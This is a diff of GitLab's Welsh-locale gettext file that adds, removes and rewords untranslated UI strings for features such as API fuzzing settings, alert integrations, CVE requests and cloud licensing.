--- a/locale/cy_GB/gitlab.po
+++ b/locale/cy_GB/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: cy\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:48\n"
+"PO-Revision-Date: 2021-04-02 00:07\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -160,6 +160,15 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] ""
@@ -307,6 +316,15 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] ""
@@ -628,6 +646,9 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -640,6 +661,15 @@ msgstr ""
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -670,27 +700,9 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-msgstr[4] ""
-msgstr[5] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-msgstr[4] ""
-msgstr[5] ""
-
msgid "%{count} more"
msgstr ""
@@ -793,7 +805,7 @@ msgstr ""
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr ""
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -1234,6 +1246,9 @@ msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr ""
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1375,6 +1390,9 @@ msgstr[5] ""
msgid "+%{approvers} more approvers"
msgstr ""
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1483,6 +1501,15 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1519,6 +1546,24 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] ""
@@ -1537,6 +1582,15 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] ""
@@ -1582,6 +1636,24 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
msgid "1-9 contributions"
msgstr ""
@@ -1699,9 +1771,6 @@ msgstr ""
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr ""
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr ""
@@ -1711,13 +1780,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1792,9 +1858,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr ""
@@ -1813,13 +1876,25 @@ msgstr ""
msgid "API Token"
msgstr ""
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
+msgstr ""
+
+msgid "API version"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithPassword"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithUsername"
+msgstr ""
+
+msgid "APIFuzzing|/folder/example_file.json"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1831,6 +1906,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1843,16 +1921,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1861,16 +1942,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1903,9 +1984,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -2083,6 +2161,9 @@ msgstr ""
msgid "Account: %{account}"
msgstr ""
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -2113,15 +2194,6 @@ msgstr ""
msgid "Add \"%{value}\""
msgstr ""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-msgstr[4] ""
-msgstr[5] ""
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -2167,6 +2239,9 @@ msgstr ""
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr ""
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr ""
@@ -2242,6 +2317,9 @@ msgstr ""
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2269,9 +2347,6 @@ msgstr ""
msgid "Add image comment"
msgstr ""
-msgid "Add issues"
-msgstr ""
-
msgid "Add italic text"
msgstr ""
@@ -2299,6 +2374,9 @@ msgstr ""
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr ""
@@ -2317,6 +2395,9 @@ msgstr ""
msgid "Add to Slack"
msgstr ""
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr ""
@@ -2410,6 +2491,9 @@ msgstr ""
msgid "Additional text"
msgstr ""
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr ""
@@ -2437,6 +2521,9 @@ msgstr ""
msgid "Admin Area"
msgstr ""
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr ""
@@ -2578,9 +2665,6 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminNote|Note"
-msgstr ""
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
@@ -3016,6 +3100,12 @@ msgstr ""
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -3067,6 +3157,9 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3229,6 +3322,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -3244,13 +3343,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -3259,25 +3361,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -3292,24 +3397,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -3319,6 +3436,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -3328,9 +3448,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -3367,7 +3484,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -3457,9 +3577,6 @@ msgstr ""
msgid "Allow only the selected protocols to be used for Git access."
msgstr ""
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3523,6 +3640,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3550,6 +3670,9 @@ msgstr ""
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr ""
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3607,6 +3730,9 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr ""
@@ -3730,6 +3856,9 @@ msgstr ""
msgid "An error occurred while fetching projects autocomplete."
msgstr ""
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr ""
@@ -3742,9 +3871,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
-msgid "An error occurred while fetching the builds."
-msgstr ""
-
msgid "An error occurred while fetching the job log."
msgstr ""
@@ -3835,7 +3961,7 @@ msgstr ""
msgid "An error occurred while loading the file. Please try again later."
msgstr ""
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3973,9 +4099,6 @@ msgstr ""
msgid "An issue already exists"
msgstr ""
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr ""
-
msgid "An issue title is required"
msgstr ""
@@ -4177,6 +4300,9 @@ msgstr ""
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] ""
@@ -4216,6 +4342,9 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -4225,6 +4354,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr ""
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr ""
@@ -4234,9 +4366,6 @@ msgstr ""
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4378,6 +4507,12 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr ""
@@ -4438,6 +4573,12 @@ msgstr ""
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr ""
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr ""
@@ -4480,13 +4621,13 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
-msgid "AsanaService|Asana - Teamwork without email"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
msgstr ""
msgid "Ascending"
@@ -4921,6 +5062,9 @@ msgstr ""
msgid "Average per day: %{average}"
msgstr ""
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr ""
@@ -5023,6 +5167,9 @@ msgstr ""
msgid "BambooService|Atlassian Bamboo CI"
msgstr ""
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr ""
@@ -5041,6 +5188,9 @@ msgstr ""
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr ""
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr ""
@@ -5065,7 +5215,7 @@ msgstr ""
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
@@ -5203,6 +5353,9 @@ msgstr[5] ""
msgid "Blocked issue"
msgstr ""
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -5233,6 +5386,15 @@ msgstr ""
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5242,9 +5404,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -5263,6 +5422,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -5272,6 +5434,15 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
msgid "Boards|Board"
msgstr ""
@@ -5284,6 +5455,15 @@ msgstr ""
msgid "Boards|Expand"
msgstr ""
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr ""
@@ -5314,6 +5494,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5620,15 +5803,6 @@ msgstr ""
msgid "CHANGELOG"
msgstr ""
-msgid "CI / CD"
-msgstr ""
-
-msgid "CI / CD Analytics"
-msgstr ""
-
-msgid "CI / CD Settings"
-msgstr ""
-
msgid "CI Lint"
msgstr ""
@@ -5647,6 +5821,12 @@ msgstr ""
msgid "CI/CD"
msgstr ""
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr ""
@@ -5740,6 +5920,27 @@ msgstr ""
msgid "CPU"
msgstr ""
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5836,6 +6037,9 @@ msgstr ""
msgid "Canceled deployment to"
msgstr ""
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr ""
@@ -5956,6 +6160,9 @@ msgstr ""
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr ""
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr ""
@@ -5983,6 +6190,9 @@ msgstr ""
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr ""
@@ -5992,12 +6202,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr ""
@@ -6640,6 +6856,9 @@ msgstr ""
msgid "Close %{tabname}"
msgstr ""
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr ""
@@ -6673,6 +6892,48 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr ""
@@ -6706,9 +6967,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6727,12 +6985,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr ""
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -7282,6 +7549,9 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7993,6 +8263,9 @@ msgstr ""
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr ""
@@ -8056,6 +8329,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -8341,6 +8617,9 @@ msgstr ""
msgid "Container does not exist"
msgstr ""
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr ""
@@ -8377,9 +8656,6 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr ""
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -8464,6 +8740,9 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr ""
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr ""
@@ -8482,6 +8761,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr ""
@@ -8551,6 +8833,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
